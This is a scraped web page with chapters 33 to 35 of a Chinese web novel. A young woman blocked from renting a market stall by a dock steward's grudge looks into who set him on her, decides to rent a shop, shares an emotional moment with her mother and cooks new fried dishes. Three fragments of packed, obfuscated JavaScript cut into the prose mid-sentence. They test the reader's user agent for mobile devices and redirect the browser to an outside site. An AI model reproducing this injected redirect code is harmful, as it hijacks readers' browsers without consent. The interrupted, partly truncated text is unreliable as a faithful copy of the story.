排队的人面面相觑，渐渐品出些不对味来，这钱管事，分明是冲着这姑娘来的。 排在万秋灵后面的大婶忍不住开口，小声对她道：“姑娘，你是不是哪里不小心得罪钱管事了？快些赔个不是吧。” 万秋灵也在思考这个问题，她迎着钱管事那道轻蔑嘲弄的目光，脑海里飞快地回忆了一遍。 在镇上的这些日子里，她并没有和谁结下过仇怨，生意上虽然有些竞争，但都还在正常的范围内。 她甚至连这位钱管事的面都没见过，如何谈得上得罪和赔罪之说？ 万小兰的手紧紧抓着姐姐的衣角，显然是憋着一股气。 万秋灵轻轻拍了拍她的手，示意她稍安勿躁。 “钱管事。”她开口，并没有中年男人预想中的愤怒，声音平静得听不出任何情绪，“是不是今日这榜上，但凡我选的位置，你都要抢？” 钱管事扬起下巴，不屑道：“是又怎样？我就是要让你知道，这镇上，不是什么乡下人都能掺一脚的！” 好狂妄的口气，仿佛整个平口镇都已经被他收入囊中。 其他排队的人开始小声地议论，有些人暗暗着急，怕这姑娘真的和钱管事杠上，连累大家都租不到摊子，也有人幸灾乐祸，等着看热闹。 万秋灵却只是转向胡管事，语气如常：“既然如此，今日想是租不到了，我们改日再来。” 她拉着妹妹，转身往外走。 身后，那钱管事的声音故意提高，清晰地传进每个人耳朵里：“算你识相，乡下来的，就该懂点儿规矩！” 胡管事讨好的声音紧跟着响起：“您消消气，和丫头片子计较什么……” 万小兰气得手都在发抖。她死死咬着嘴唇，却不能回头，也不敢乱说话给阿姐添麻烦，脸颊气鼓鼓的，跟个包子一样。 万秋灵牵住她，低声道：“先离开这里。” 两人一步一步走出那间屋子，离开那些人打量的视线。一路走出梅花桥街，走到了一个相对空旷的街口，才停下来。 今天为了早早来抢榜单的摊位，她们没有准备饼子来卖，只带了银钱。 原本万秋灵也设想过，要是没抢上好位置，可以找人商量合租，或者去其他街市看看，不过现在嘛……不解决眼前的麻烦，后患无穷。 万小兰抬起头，脸上依旧是愤懑不平的神色：“阿姐，我们怎么办呀？” “再想想别的办法吧。”万秋灵的声音很轻缓，眼神却很冰冷。 不管这个钱管事为什么针对她，如果以为抢两个位置就能让她知难而退，那就大错特错。 但眼下需要先打听清楚这人的来历，才好做打算。 万小兰有些失落，没有说话，默默地想，要是满仓哥在就好了。 今天早上，满仓哥没有像往常一样跟着她们出门，阿姐说他昨晚有急事，已经走了。 虽然她也不确定满仓哥能帮上什么忙，但万小兰就是觉得，要是他在，那个钱管事一定不敢那么嚣张。至少，阿姐不会被钱管事当着那么多人的面刁难。 万秋灵并不知道妹妹的想法，她望向梅花桥街的方向，若有所思。 什么乡下来的、不懂规矩，这些话于她而言一点杀伤力都没有，跟挠痒痒似的。 她只是有些可惜那两个摊位，位置和价格都挺合适。 至于那个姓钱的管事，无缘无故挡她财路，这梁子算是结下了，日后等着瞧。 33. 连锁反应 钱三回到码头时，日头已经升高了。 装卸货物的号子声此起彼伏，搬运工们扛着货物在跳板上穿梭，汗珠一滴滴砸落在木板上，形成一小片深色的水渍。 他负着手从人群中走过，所到之处，原本忙碌的工人都下意识地侧身让路，喊一声“钱管事”。 钱三脚步不停，径直走向码头边一排木屋。 属于他的那间房屋门口，阿豹和同伴正翘首以盼。 见了他，两人几乎是同时迎上来，脸上堆满了巴结的笑容：“钱大哥，怎么样？” 钱三随意扫了他们一眼。 阿豹那张脸上，青紫的淤痕还没消退，眼眶肿着，嘴角破了皮，整个人看着狼狈不堪。他旁边那个矮些的同伴也好不到哪儿去，半边脸肿得老高，走路还有些不利索。 钱三鼻腔里发出一声轻哼，道：“我亲自去了，还有办不成的？” 阿豹和同伴的笑容更加真切了，阿豹立马吹嘘：“还是钱大哥厉害！我们兄弟俩跑断腿都办不成的事，您一出马，轻轻松松就搞定了！” 他这番话半是吹捧，半是真心。他和钱三是同一个地方出来的，论起来能称一声大哥。 这些年钱三在镇上码头混出了头，当上管事，手底下聚了一帮人。像阿豹这样跟着他混的，日子比那些普通搬运工好过太多，不用扛大包，不用晒日头，只需要跑跑腿、盯盯人，每月就能拿上固定的银钱。 对着二人的吹捧，钱三摆了摆手。 “行了，一个不成气候的丫头片子而已，也值得你们紧张成这样？”他斜睨着两人，语气里带着嫌弃，“说出去都丢码头的人。” 阿豹和同伴对视一眼，心下讶异，听钱管事这意思，只有那丫头去了？难怪这么顺利…… 他们本以为那丫头身边一直跟着那个高大男子，这事会很棘手，没想到钱管事压根没遇上。 “以后这些鸡毛蒜皮的小事，少来烦我，要是自己解决不了，就趁早滚！” “是是是，钱大哥说的是。”阿豹和同伴点头哈腰地应着。 钱三没再理他们，抬脚进了棚屋。 目送他走后，矮个子才说道：“豹哥，那丫头的事，就这么算了？” 阿豹没答话。搅黄了那丫头租摊子的事，他确实畅快，可不知怎的，心里却还是觉得有些不踏实。 他摸了摸尚且肿着的眼眶，伤口依旧痛感鲜明，仿佛又回到了那一天…… 两日前。 因为那个高大男人的出现，阿豹和同伴的跟踪被迫中断。 那男人只是往这边随意扫了一眼，他们就吓得缩在墙角不敢动弹，等人走远了才重新现身，却是万万不敢再追了。 阿豹带着一肚子气往回走，矮个子跟在后面，小心翼翼地问：“豹哥，接下来咱们怎么办？这么久找不到人，那小崽子毕竟看到咱们……” “怕个屁！”阿豹啐了一口，脚步没停，“东西都放回去了，就算他出去瞎嚷嚷，也得有人信才行！” 他嘴上虽然说得硬气，实际上也忌惮着小乞丐。万一那崽子不知好歹，出去乱说，传到不该听到的人耳朵里…… 他忍不住骂出声：“要不是那个坏事的丫头，早把人给逮住了！” 他越想越气，脚下狠狠踢飞一颗石子。 “下次再让我碰到这丫头，必须想办法教训她一顿！非得问出那崽子的下落不可！” 矮个子正要应和两句，忽然感觉肩膀被人拍了拍。 他才转过头，什么都还没看清，面上就挨了一拳！ 他被那狠厉的拳风击得往后一仰，整个人不受控制地和阿豹撞到一起，而阿豹也因为同样的一股大力袭击而后退—— 两个人脑袋猛地嗑到，发出一声闷响，同时惨叫出声！ 头骨似碎裂一般，猛烈的痛楚袭来。还没等他们缓过劲，又被一拳砸在腹部，五脏六腑都仿佛移了位。 剧痛让矮个子再也支撑不住，直接跪倒在地，抱着肚子哀嚎不止……阿豹比他好不了多少，蜷缩着身体，疼得满头是汗。 他们这些年在码头上摸爬滚打，虽没正统的学过武，但一身横肉也不是白练的。 可出手这个人，两记拳头就让他们毫无还手之力。 甚至没能看清他的面容，就好像……他只要随便动动手指，就能要了他们的命。这个认知让阿豹从心底升起一股彻骨的惊恐。 他匍匐在地上，浑身战栗着，一只眼睛已经肿得快睁不开，连声求饶：“少侠！好汉！饶命啊！” 没有人回答，但他的视线里出现了一双黑色的靴子。他不敢抬头，因感受到面前这人的目光落在他身上而恐惧得发抖。 “再敢跟踪那位姑娘……” 声音从头顶上传来，异常的沙哑，宛如一位七旬老翁。 “就废了你这双腿。” 阿豹身子抖得更厉害了：“不敢了！不敢了！再也不敢了！”他语无伦次地求饶，脸埋得越来越低，几乎是在磕头。 不知过了多久，矮个子哆嗦的声音响起：“豹哥，他，他走了。” 阿豹趴在地上，不敢动。 又过了一会儿，他才敢一点点抬起头，巷子里空荡荡的，一个人影都没瞧见。 可头上的剧痛，腹部的灼烧，清晰地提醒着他们刚才发生的一切。 阿豹艰难地撑着地爬起来，扶着墙，大口喘气。 “快……”阿豹哑着嗓子，“快回码头！” 矮个子也爬了起来，腿还在打摆子。两个人互相搀扶着，踉踉跄跄地往回赶。 …… “二位姑娘来了？” 孙掌柜从柜台后抬起头，见来的人是万秋灵和万小兰，态度很是和善，“来得正巧呢，小冬还没出门。” 他转头朝里喊了一句：“大丫！来客了，快来好生招待着！” 大丫正是孙小冬身边的丫鬟。她匆匆出来，看到万家姐妹，赶忙招呼道：“姑娘们快快请进，小姐已经起了一阵子了，用过饭，就在屋里呢。” 她一边引路一边絮叨，语气亲热：“小姐吃了两回那肉馅饼，可喜欢得紧……” 穿过熟悉的过道，进了后院。孙小冬正在整理衣裳，闻声回过头，脸上绽开笑容。 “秋灵，小兰！”她一手拉住万秋灵的手，又牵了万小兰：“来坐，我今儿还想着，出门说不准也是要去找你们的，没想到你们倒先来了。” 万秋灵歉然道：“今天没摆摊，忘了给你带些肉馅饼来。等下次，鲜虾饼也做几个，送给你试试。” “那可说定了。”孙小冬也不多客套，直接应下。 大丫已经熟门熟路地端茶倒水，摆上果子蜜饯，又捧来一碟精致的点心，殷勤地招待着。 万小兰坐得规规矩矩，拘谨地拿了一块点心，吃得开心。 孙小冬仍旧拉着万秋灵的手，问道：“秋灵，既然没出摊，到镇上是有什么事吗？” 她知道万家姐妹挣钱辛苦，断不会无缘无故丢下生意来找她玩耍。 万秋灵点了点头，没有多绕弯子：“我想跟你打听一个人。” 她原本打算去茶馆那些地方探听消息，但那样太显眼，反而打草惊蛇。若是能从孙小冬这里得到些信息，自是最好。 “什么人？”孙小冬问。 “码头的管事，姓钱。” 孙小冬闻言，认真思索了一下：“码头管事……我知道这个人，叫钱三。” “我家药铺有些药材要走水路，爹爹和他打过不少交道。他有时也来我们这儿抓药，我见过一两回。” 她把知道的信息都说了出来：“听爹爹说，钱三掌管着码头的秩序，比如卸货的安排、客商的登记，都归他管。他这个人……似乎特别注重规矩。” “而且听说，他出身好像不太好，一开始被很多人瞧不起，后来靠着积累的功劳当上了管事，最忌讳别人提起他的过往。” 重规矩、好面子，万秋灵回想起那人挤兑她的话…… 难怪一开口就讽刺她是乡下人不懂规矩，原来他自己也是从泥地里爬出来的，曾被这些话中伤过，所以认为同样的话能刺痛她吧？ 而所谓的规矩，自然是他定的规矩。 这样苦心经营的人，最多也就在码头那一亩三分地当个土皇帝，又没什么大靠山，不像爱伸长手多管闲事的，作甚突然跑到梅花桥街耍威风？ 孙小冬见她沉吟不语，关切地问：“秋灵，发生什么事了？怎么忽然打听起钱管事？” 万秋灵回过神，笑了笑，含糊道：“没什么大事，就是……一点小麻烦，想弄清楚些。”她并不想把孙小冬牵扯进来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428898|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孙小冬看了她一会儿，没有追问，只是轻轻握了握万秋灵的手，认真道：“秋灵，要是你遇到解决不了的困难，可以告诉我，能帮的我一定帮。” 明明才见过几次面，她却愿意给出这样的承诺。 万秋灵一怔，随即眉眼弯弯的，笑意从眼底荡漾开来。 “谢谢你，小冬，你已经帮到我的忙了。” 孙小冬也笑着回她，语气十分坦然：“这有什么好谢的，我们不是朋友吗？” 从长春堂出来时，万小兰的小背篓变沉了些。 里头是孙家姐姐新塞的蜜饯和果子。本来还要给糕点的，阿姐说她们待会儿也要买，不好再多收。 “阿姐，”万小兰走着走着，忽然发现路有些熟悉，“我们还要去胡管事那儿问摊位吗？” 万秋灵本来只是想去买些东西，想了想，道：“你说得对，确实可以去一趟，不过……我们换一个问法。” 短短一个时辰，街尾那面墙上的榜单已经揭下来了。 胡管事见进来的是她们，脸上闪过一丝复杂的神色，有些心虚，又有些戒备。 他看了看两人身后，那个男子不在，于是恢复了平日那副不冷不热的做派，开口打发道：“榜单上的位置已经……” “胡管事，”万秋灵打断他那套准备好的官腔，“我来，不是问您摊子的事。” 她叹一口气，眉眼间染上几分忧愁。 “今天的事，本就怨我。也不知道是哪里得罪了钱管事，可能是无意中和谁有了过节吧，让您也跟着难办了。” 明明是胡管事见风使舵，把她要租的摊位划给别人，可经她这么一说，倒像是胡管事也是被连累的、身不由己的那个。 胡管事听完，脸上的戒备和不耐烦果然消退了些，语气也松动不少。 “确实不是我为难你。”他捋了捋山羊胡，顺着台阶就下了，“有人递了话，钱管事才亲自来的。我一个管摊位的，还能怎么着？” 万秋灵点点头，脸上的忧愁更深了些：“我明白，您也不容易。我就是想问问，递话给钱管事的人是谁，您能提点几句吗？我……我想着，知道了人，以后见面好绕道走，别再稀里糊涂地得罪人家。” 胡管事看着她们，这姑娘年纪不大，牵着的妹妹也还小，两人都是迷茫无措的样子，妹妹眼圈还有些红。 到底只是小丫头……胡管事沉默了一会儿。 “也是码头的。”他终于开口，“一个叫阿豹，一个叫鼠子，都是钱管事手下的人。来找了我两次，打听过你……别的我就不知道了。” 万秋灵心里豁然开朗，面上却只露出一抹苦笑。 “原来是这样，哎……多谢管事好心告知，我们以后一定多注意着点。” 离开管事屋一段距离后，万小兰才呲牙咧嘴地揉着手臂，轻轻吹了两口气。 刚才阿姐说要去胡管事那儿卖惨，她为了入戏，狠心掐了手臂一把，也因为忍着痛，面对胡管事那惺惺作态的模样才没显露出鄙夷。 “嘶……阿姐，那个阿豹和鼠子是谁啊？你认识吗？” 万秋灵摇了摇头：“不认识。” 但根据胡管事的话，这两人不止一次打听她，还费尽周折喊了码头管事来，是问题的关键所在。 …… “主上？”齐辉忍不住出声提醒。 段渊的眼神动了动，仿佛从很远的地方收回来，忽然唤了一声：“阿图。” 一道身影无声无息地浮现，那人一身黑衣，连面孔也用黑布蒙住，只留一双眼睛露着。 “主上。”声音低沉平稳。 段渊没有回头，他想问的是那日跟踪灵儿的人。当日阿图已经详细汇报过，他们想通过灵儿找到一个孩子，被阿图截住，随随便便就吓破了胆。 应该没什么威胁……他后面寸步不离守了灵儿一整天，那两人没冒过头，也没出现其他异常。 段渊沉默片刻，轻轻抬了抬手指。 阿图会意，身形一晃，再次融于黑暗之中。 “那什么，主上，我们离开平口镇，才不到八个时辰。”齐辉还以为主上在思考什么重要的计谋，犹豫了半天要不要打扰他，结果…… 段渊淡淡扫了他一眼。 齐辉立刻噤声，眼观鼻鼻观心，大气都不敢再出。 34. 鸠与鹊 晌午饭都吃完了，两个女儿还没回来。 杜氏在院子里进进出出好几趟，一会儿去灶屋收拾碗筷，一会儿去院子晾两件衣裳，眼睛却总往院门口瞟。 万老爹坐在堂屋里，手里捧着药碗，半天没喝一口。 “按理说该回来了……租个摊子要不了这许久。”杜氏嘀咕着，又等了一会儿，终于忍不住走回堂屋，在万老爹对面坐下。 “你说，会不会是遇到啥难题了？” 万老爹看她一眼：“能有什么难题？” “我也不知道啊。”杜氏眉头皱着，“租摊子这事儿，咱们两个大人都没经验呢，更别说孩子……灵儿也不让我跟着去……” 盼来盼去，阳光一寸一寸地挪动着。 到了下午，院门终于响了，杜氏几步跨出堂屋，拉开门。 万小兰的背篓几乎快装满，额头上沁着汗，小脸晒得红扑扑的，看见娘，咧嘴就笑。万秋灵跟在后面，手里提着两个包袱。 杜氏一颗心落回肚子里，只当她们租到铺子后高兴多逛了会街，脸上也带了笑：“可算回来了！饿了吧？娘给你们做蛋炒饭。”她赶忙招呼两个孩子进屋。 万老爹也松了口气，淡淡道：“回来就好。” 隔夜饭都是现成的，灶屋里很快就飘出蛋炒饭的香气。万秋灵和万小兰一人捧着一碗热腾腾的炒蛋，大口往嘴里扒。 等她们吃得差不多了，杜氏才笑着问道：“摊子租到了吧？月租怎么样？” 万秋灵筷子一顿，低声回复：“没租到……出了点状况。” 杜氏脸上的笑容僵住了，赶紧追问：“是什么状况？是钱没带足，还是让人抢先了？咱们现在银钱也够，实在不行加点儿……” “娘，”万秋灵打断她，却不欲多解释，“不是钱的事儿。” 这孩子说得轻描淡写，可杜氏知道，大女儿惦记摊位很久了，天不亮就去排，银钱也够，咋会没租到呢？ “那是啥事儿？”杜氏声音高了些，“你跟爹娘说清楚呀！” 万秋灵抿了抿唇，还是没开口。 杜氏心里忽然有些不是滋味。 她早上起来送两个孩子出门，孩子们总让她歇着，她也习惯了听女儿的安排，想着大女儿能干，自己去了也帮不上忙……都忘了，灵儿也还是个小姑娘！ 也不知道她们在镇上遇到了什么状况，若是她坚持一块去，好歹有个大人在啊！ “你这孩子，”杜氏声音发哽，“真是主意大了，出什么事连爹娘都要瞒着！” 万秋灵抬头一看，杜氏的眼眶已经泛了红。 没想到杜氏会因为摊位的事反应这么大，万秋灵有些茫然，一时竟不知该说些什么。她清楚杜氏是爱操心的性子，只是不想让她多担忧，反正过段时间自己都会处理好。 两个人都互相为了对方着想，僵持着，反倒像是闹了不愉快。 万小兰看看姐姐，又看看娘，终于发现不对。 她赶紧放下碗，扯了扯杜氏的袖子：“娘，你先别急，听阿姐说完嘛。” 杜氏这才发觉有些失态，撇过脸，用袖子飞快地拭了拭眼角。 不过很快她就没心思多想了，因为万秋灵接下来的一番话，直接让家里的生意进入了飞速模式。 “不租摊子了，租铺面？”杜氏差点以为听错了。 万小兰在旁边贴心补充：“阿姐已经让牙人帮忙留意了！特意强调要带院子的那种铺面！” 杜氏懵了，下意识看向万老爹。 万老爹坐在那儿，面上看不出什么情绪，只是不动声色地往那条受伤的腿上瞟了一眼。 当年他们家的那间小馆，就是租的带院子的铺面，前面做生意，后面住人。租金和市税是一笔大开销，那时候，他每天从天不亮忙到天黑，支撑着那铺子，但现在他这条腿…… 杜氏定了定神，问出心里的疑惑：“灵儿，怎么又想着租铺面了？” 万秋灵没有立即回答。其实是第二次找了胡管事之后，才冒出来的想法。 她原本的计划很简单：租个固定摊位，每天到镇上卖吃食，成本低、周转快，攒够了钱再去县城开馆子。 可今天的事让她忽然意识到，有胡管事这样的人在，摊子的存续与否都在他一念之间。 他能一边任由别人搅黄你的摊子，一边向你透露是谁在背后撺掇，他的规矩和立场是随意变更的。 万秋灵不想被人拿捏，所以需要脱离市集管事的管辖范畴。铺面是东家的私产，租约是面向双方，不归市集管，他们的手伸不到那么长。 “铺子贵是贵点，”她捡了些优点说，“但贵得也没那么夸张，镇上铺面不算大。” “而且铺面不用风吹日晒，没有摆摊辛苦。租个带院子的，咱们就能住在镇上，不需要每天村和镇之间来回跑，省时省力。” 万老爹猜到她们今天肯定是遇到事了，才会有这个决定，现在不想说就不说吧。 他转而问：“开铺子，想好卖什么吃食了吗？” 万秋灵笑道：“早就想好了。” 原本有些东西是想等到县城再实践的，现在可以提前尝试下新花样。 杜氏见铺面的事差不多算敲定了，她得赶紧跟上步伐，于是主动道：“那个春卷，娘已经学得差不多了。” 万秋灵拍了拍身边的包袱：“那今天再给娘教两道新的。”她确实是打算把油炸这块暂时交给杜氏。 母女俩起身往灶屋走，万小兰正要跟上去，忽然被万老爹喊住。 “等会儿。”万老爹压低了声音，“你那蜜饯，先给爹来两颗。” 万小兰瞪大眼睛：“爹怎么知道我有蜜饯的？” “猜的。快些拿来，喝了药嘴里正苦着。” 万小兰嘟起嘴，有些不情愿：“蜜饯是孙姐姐给我的……应该让给小孩吃才对，爹又不是小孩。” “你爹我受伤了，是病人，病人优先。”万老爹理直气壮道。 万小兰：“……” 她磨磨蹭蹭地从包袱里摸出几颗蜜饯，不情不愿地放进他手里。 …… 万秋灵提着东西进了灶屋，一样一样往外拿，除了糕点果子那些，还有一大块猪里脊，几块白生生的豆腐，最后还拿出来三个大白馒头。 杜氏好奇：“咋还买了馒头？” 万秋灵咳了一声，胡诌道：“和小兰买的，没吃完，刚好有用。” 其实是她特意买的，懒得等发面的时间，想回家直接用，不过怕讲出来被杜氏说浪费钱。 “娘，你先把馒头切成小丁，之后和虾粉的做法有点像，小火烘干，再用擀面杖碾碎。” 杜氏便不再多问，拿起菜刀，开始切馒头。 妹妹没来，万秋灵就去了灶膛边，准备生火。 随后她尴尬地发现，童年在奶奶家习得的烧火技能已经完全退化，折腾半天，火苗就是起不来。 万秋灵挫败的同时不忘反思，她每次用灶都有人先生火，不是万小兰就是杜氏，还有段渊……而自己最多添几根柴或者撤掉火。 她正暗自打气，杜氏看在眼里，放下刀往锅里添了瓢水，才走过来。 “让娘来吧。” 万秋灵抬头，脸上带着点不好意思的笑，给杜氏腾出位置。 接过火折子，杜氏三两下就引燃了干草，架上细柴，火稳稳地烧起来。万秋灵搬了个小板凳，乖乖坐在旁边，很认真地学习杜氏的步骤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432614|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜氏却是用余光观察着她，火光映着女儿巴掌大的小脸，正眼也不眨地盯着灶膛里，眉宇间似懂又非懂。 她心里那点郁气忽然就散了，无奈地想，这才像个孩子样。 “灵儿，”杜氏一边拨动柴火，一边慢慢开口，“娘不需要你什么都会，什么都学。” 万秋灵愣了愣，转头看她。 “就比如这生火，不会，就让娘来，让你爹来，让小兰来。咱们家有这么多人，不是什么事都需要你自个儿担着。” 杜氏声音放得更软了些：“你已经很懂事了，有什么不容易和难处，就说出来，爹娘跟你一块扛。互相依靠才像一家人，你说是不是？” 杜氏絮叨起来有些收不住，女儿太独立了，甚至反过来照顾她，给她银钱。而她竟然也慢慢习惯了，事事有女儿挡在前头，今天出了这事，一时间羞愧不已。 “旁人都夸你能干、稳重，可在娘这里，你只是娘的闺女，还是个娃娃呢！” “你有出息，娘很高兴，你受委屈了，娘会心疼。就算你闯了祸，娘也替你收拾烂摊子……” 她忽然感觉肩膀上一沉，有热意传来。 低头一瞧，万秋灵将脑袋靠在了她肩上，垂着眼睛，一颗泪珠从眼角滑落，滴在她的肩头。 杜氏喉咙像被什么堵住，眼眶瞬间就红了，只当女儿真是受了天大的委屈，火也不烧，转过身就将万秋灵抱进怀里。 “灵儿，娘的乖闺女……”她轻轻抚着女儿的背，像哄小孩子一样，“到底出什么事了？嗯？跟娘说，娘和爹替你做主！” 万秋灵埋在她肩头，没有说话。 杜氏的眼泪也落了下来，落在女儿的头发上，落在自己的衣襟上。 两人就这么相拥而泣了一会。 万秋灵没哭多久，倒是杜氏，哭得比她还厉害。她吸了吸鼻子，从怀里掏出一块帕子，给杜氏擦眼泪，边擦边解释： “娘，今天确实出了点意外。” “有个陌生人横插一脚，害我们没租成摊子。那市集管事是根溜须拍马的墙头草，我懒得再与他周旋，才想到租铺面。” 杜氏听得心都揪了起来：“娘该跟着去的，这些欺负人的东西！” 万秋灵看着她哭红的眼睛，认真道：“娘……我哭，不是因为这些事，您不需要自责。” “我没受什么委屈。”万秋灵眼睫上还挂着泪珠，却笑了笑，“也并非是把您排除在外，我不会剖鱼杀鸡、刀工又差，不都仰仗的娘吗？今天是突发情况，而且我认为算不得什么，真的！租个铺面也很好，何必让娘平添烦恼呢？” 她握紧杜氏的手，声音轻下来： “我之所以哭，是因为觉得……有娘在身边，真好，真幸福……就是太幸福了，所以才哭的。” 闻言，杜氏的眼泪掉得更凶了，抬手摸着女儿的脸，嘴里只念着：“傻孩子……” “我才不傻呢。” 万秋灵抱住她，把脸埋在杜氏肩上，蹭了蹭，难得带了点撒娇的意味。 她闭上眼，心情难以平静。 在杜氏心里，她是顶好的女儿，而在她心里，杜氏又何尝不是最好的娘亲呢？ 天知道，她有多羡慕原主，有这样一个温柔包容的娘，有一个虽然沉默却护短的爹，有琴瑟和鸣的父母，活泼可爱的妹妹。 而不是永远充斥着争吵、指责、打压，家里每天过着乌烟瘴气的日子。 这样无条件的支持、梦寐以求的亲情，让她欢喜的同时又感到愧疚，就像是鸠占鹊巢，偷来的幸福。 那个和她无比相似的、另一个万秋灵……不知道她的灵魂去了何处。 无论如何，万秋灵在心里轻轻地说，希望你也幸福。 35. 猪排 浇汁豆腐 杜氏听完女儿说的那些事，决定明天就去趟码头打探情况，理由也很充分。 “我一直搁家里忙活，近来也没去过镇上，码头的人肯定不认识我，去打听情况不会引起注意。” 万秋灵想了想，还是同意了：“娘去一趟也好，只是万万要小心行事。” 杜氏应了，把柴火架好，才奇道：“兰儿呢？往常早来等着了。” 堂屋里，万小兰正被爹爹缠得苦不堪言。 “爹，你问完了没有？我要去灶屋帮忙！” 万老爹嘴里嚼着蜜饯，眼皮都不抬：“急什么？你娘和你阿姐说话呢，你去凑什么热闹。” 万小兰瘪着嘴，爹吃完一颗又要一颗，她又不好不给，被他薅了半包蜜饯去。 直到一股诱人的面食香气从灶屋飘了出来，万老爹这才摆摆手：“行了，去吧。” 万小兰如蒙大赦，拔腿就跑。 杜氏正在切豆腐，万秋灵见妹妹进来，顺手递给她一个木槌。 “来，帮忙拍肉。” 万小兰接过东西，看着案板上切成片的里脊肉，一脸茫然：“阿姐，为什么要拍这个肉啊？” 万秋灵指着两片不一样的肉，一本正经道：“你看看，把肉拍开是不是更大？这样客人觉得更划算嘛！” 万小兰恍然大悟，又学到新知识了：“原来还能这样！”她接过木槌，对着肉片就是一顿敲敲打打。 杜氏在一旁看着，嘴角弯了弯。她知道大女儿在逗妹妹，灵儿说了，其实主要是把肉里面的筋拍断，口感更好。 捶打后的肉放进备好的腌料里，搁在一旁。 “平常要腌制更久，今天仓促点。”万秋灵把其他东西摆一块，开始教她们裹面，“先蘸面粉，薄薄一层就行，然后过一遍鸡蛋液，最后裹上这个料。” 最后是一碗颗粒均匀的碎末，是她教杜氏做出来的馒头碎，充当面包糠。 杜氏和万小兰虽然不懂，但是照着学。码好的猪排放了两摞，大小形状差不多，裹着焦黄的馒头碎，看着还挺像样。 准备工作完成，之后便是过油炸，这一步直接交给杜氏，只需要注意别炸过头就行。 猪排炸好，捞出沥油，再下豆腐块。 杜氏按女儿说的，趁热将猪排切成几条，金黄的外皮被切开，露出里面白嫩的肉。再拿出配好的干料，小心地撒了一层在猪排上。 很快，豆腐块也炸好捞出。万秋灵教杜氏调制了一个浓浓的酱汁，淋在上面。 两道小吃摆上桌，一荤一素，不管是卖相还是香味都绝了，诱得人挪不开眼！ “爹，爹！”万小兰扯着嗓子，急急地喊，“快来试新菜！” 一家人围着桌子坐得整整齐齐。 万老爹坐下，目光首先就被猪排吸引，这东西他没见过，肉外面裹着一层酥脆的东西，不知道是什么。 万秋灵清了清嗓子，开口介绍：“这就是咱们目前要卖的炸货，素的、半荤和纯荤的都有。一道浇汁豆腐，一道香炸猪排，还有炸春卷，那个都吃过了，现在试试新的吧。” 她看向杜氏：“今天这两道，都是娘亲手做的，我只动了动嘴。” 杜氏有些忐忑地笑了笑，看着还成，就是不知道味道怎么样呢。 等她把猪排和豆腐都尝了下，同样的外酥里嫩，滋味却不同，一个香香辣辣，一个醇厚咸香，各有出彩之处。 杜氏难以置信地看着自己的手，这……这真的是她做的？ 万小兰嘴里塞得满满的，含糊不清道：“娘，阿姐，我想天天都吃这个！”好吃到她想哭。 万秋灵笑：“那可不行，炸的东西吃多了会上火的，嘴巴里容易长泡。” 万小兰才不管，又去夹豆腐。 万老爹咀嚼的动作慢了下来，大女儿总是带给人惊喜。 他咽下嘴里的东西，肯定道：“确实好，做法新颖，味道也别致，别人想学都学不来。”他又问，“是不是还有别的花样？” “自然是有，不过也不能一下子上太多新的，先稳扎稳打。”万秋灵没有展开说，而是话音一转，“对了，爹，你可要快点好起来，家里以后可有得忙，我还等着爹大展宏图呢！” 万老爹直瞪眼，寻思着，那是他想好就能好的吗？这丫头！ 杜氏反而在一旁笑道：“灵儿说得对。明天我去镇上，再给你抓一副汤药，还有他们那个什么药膏，也买些回来。” 万老爹：“……”就不该多嘴问！ 他低下头，埋头猛吃，不说话了。 …… “昨天采买去了，劳您惦记着！”万小兰的声音清脆，带着笑，小嘴甜得像抹了蜜。 “婶子，今儿又做了些鲜虾饼，您来个吗？” 那被问的妇人本只是买肉馅饼，被她这么一招呼，也干脆道：“行，来两个。” “好嘞，好吃下次再来啊！” 万小兰利落地打包好，万秋灵则是把钱收进袋子里。 过了一个时辰左右，杜氏回到集市外围的摊子这。 她换了身旧衣裳，头发也梳得随意了些，看着就是个普通的村妇，手里挎着个篮子，像是刚从集市上买完东西回来。 万秋灵看她的神情就猜到有收获，往后挪了一步，让出位置。杜氏顺势凑过来，嘴唇几乎贴着她的耳朵，压低声音说了半晌。 “……那两个人，风评差得很。码头上的都说，他们专门替那个钱管事处理不听话的人，出了名的难缠，谁见了都绕道走。” 她顿了顿，又道：“娘也是赶巧了，打听的时候，那两人正好出码头，远远瞧到一眼，都是一脸的凶相，看着就不好惹。我瞅见，有个人的耳朵像是缺了一块。” 万秋灵面上不动声色，心里却猛地一跳。 缺耳朵？这个特征总觉得有些熟悉，她快速在脑海里翻找记忆…… 想起来了，是遇到小乞丐的那天！ 那两个男人追上来找她问话，她只随意瞥了一眼，其中有一个矮壮个头的，跑起来脑袋一晃一晃，隐约能看出耳朵的轮廓不太全。 原来是他们。 所以他们没找到小乞丐，就记恨上了她？可是，他们又如何找上了胡管事打听她？难道自己早就被盯上了…… 万秋灵感觉后背隐隐有些发凉，她可没忘记那天小乞丐鲜血淋漓的膝盖。 杜氏见她眉头蹙了起来，轻声问：“灵儿，你是不是见过这两个人？” 万秋灵回过神，点了点头。 她没有多说，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 